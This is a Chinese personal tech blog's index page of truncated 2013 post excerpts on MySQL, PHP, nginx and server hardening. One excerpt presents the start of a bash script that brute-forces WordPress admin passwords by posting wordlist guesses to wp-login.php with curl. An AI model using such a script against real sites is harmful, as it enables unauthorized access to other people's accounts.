类别:
win_lin_mac
作者:
sunshine / 2013-6-20 23:52 Thursday
红色表示输入的命令.
[root@jiucool var]# /usr/local/mysql/bin/mysql -u root -p
Enter password: (输入密码)
Welcome to the MySQL monitor. Commands end with ; or /g.
Your MySQL connection id is 264001
Server version: 5.1.35-log Source distribution
Type ‘help;’ or ‘/h’ for help. Type ‘/c’ to clear the current input statement.
mysql>&...
阅读全文>>
类别:
win_lin_mac
作者:
sunshine / 2013-6-19 21:23 Wednesday
php版本是5.4.x版本的(),经过一系列的搜寻,发现这个函数在PHP5.4版本中已经被弃用了,已经被删除了。也就是这个函数不再可用了。直接注释掉就可以了,不用进行注册就可以声明session。(亲测可以正常使用)
另外的解决方法就是在include/userlogin.class.php 中声明一个函数
function session_register()
{
return true;
}
(这个没有测试。)
阅读全文>>
类别:
linux
作者:
sunshine / 2013-6-19 17:14 Wednesday
使用php-fpm解析PHP,"No input file specified","File not found"是令nginx新手头疼的常见错误,原因是php-fpm进程找不到SCRIPT_FILENAME配置的要执行的.php文件,php-fpm返回给nginx的默认404错误提示。
比如我的网站doucument_root下没有test.php,访问这个文件时通过抓包可以看到返回的内容。
HTTP/1.1 404 Not Found
Date: Fri, 21 Dec 2012 08:15:28 GMT
Content-Type: text/html
Proxy-Connection: close
Server: nginx/1.2...
阅读全文>>
类别:
linux
作者:
sunshine / 2013-6-18 07:19 Tuesday
网上很多方法都是:/usr/local/mysql/scripts/mysql_install_db --user=mysql但是很有可能报错,找不到bin目录中的my_print_defaults
错误信息:
FATALERROR:Couldnotfind./bin/my_print_defaults
If you are using a binary release, you must run this script from
within the directory the archive extracted into. If you compiled
MySQL yourself you must run 'make install' firs...
阅读全文>>
类别:
linux
作者:
sunshine / 2013-6-11 06:23 Tuesday
WordPress后台密码暴力破解程序,请先确认机器已安装curl
#!/bin/bash
#by leo108
#使用方式:./wp-pwd.sh 用户名 字典 登录页面 线程数
#例如: ./wp-pwd.sh leo 1.txt http://xxx.com/wp-login.php 15
user=$1
zidian=$2
url=$3
thread=$4
function guess {
curl -s -d "log=$user&pwd=$1" $url >> $1.html
l=$(wc -l $1.html| awk -F[:" "]+ '{print $1}')
...
阅读全文>>
类别:
linux
作者:
sunshine / 2013-6-9 01:52 Sunday
mysql安装地址
[root@localhost php-5.4.14]# whereis mysql
mysql: /usr/bin/mysql /usr/lib/mysql /usr/include/mysql /usr/share/mysql /usr/share/man/man1/mysql.1.gz
找不到mysql的安装路径的话可以。尝试一下方案。
可以试试 mysqlnd php5.4貌似是支持的
./configure --with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-mysql=mysq...
阅读全文>>
类别:
linux
作者:
sunshine / 2013-6-8 19:39 Saturday
Ubuntu安装PHP时候出错:error: xml2-config not found. Please check your libxml2 installation
Ubuntu>下接着安装php时候,在configure后,又出现错误提示:error: xml2-config not found. Please check your libxml2 installation.我又在网上搜了到了解决方法:
与编译MySQL时相同,这是由于系统缺少PHP所需的库文件导致的,根据提示,进行如下操作:
sudo apt-get install libxml2(按Tab键)
将会看到如下信息:
libxml2 libxml2-dev libxml2-he...
阅读全文>>
类别:
win_lin_mac
作者:
sunshine / 2013-6-8 17:38 Saturday
今天刚在一台服务器上安装好mysql,对mysql进行安全加固之后,一刷新权限,结果报错,说mysql.servers表不存在.mysql> flush privileges; ERROR 1146 (42S02): Table 'mysql.servers' doesn't exist 如下图既然不存在那就创建一个,当然要先use mysql才行,不然直接创建会报错.
CREATE TABLE `servers` (
`Server_name` char(64) NOT NULL,
`Host` char(64) NOT NULL,`Db` char(64) NOT NULL,
`Username` char(64) NOT NULL,
`Pas...
阅读全文>>
类别:
win_lin_mac
作者:
sunshine / 2013-6-8 02:21 Saturday
1.服务器自身系统安全:
使用最新的操作系统,或者最新的稳定版(比如Ubuntu的LTS),定期打好更新,系统权限合理划分,重要文件做权限安全保护。
比如:
# chattr +i /etc/passwd
# chattr +i /etc/group
# chattr +i /etc/shadow
# chattr +i /etc/gshadow
# chattr +i /etc/ssh/sshd_config
使用DenyHost程序防止SSH被暴力攻击,具体方法见站外文章:http://www.myhack58.com/Article/48/66/2011/28833.htm
2.Web服务器和PHP的安全规则:
首先根据需求更新Web服务器和PHP,在网站程序目录中严格定...
阅读全文>>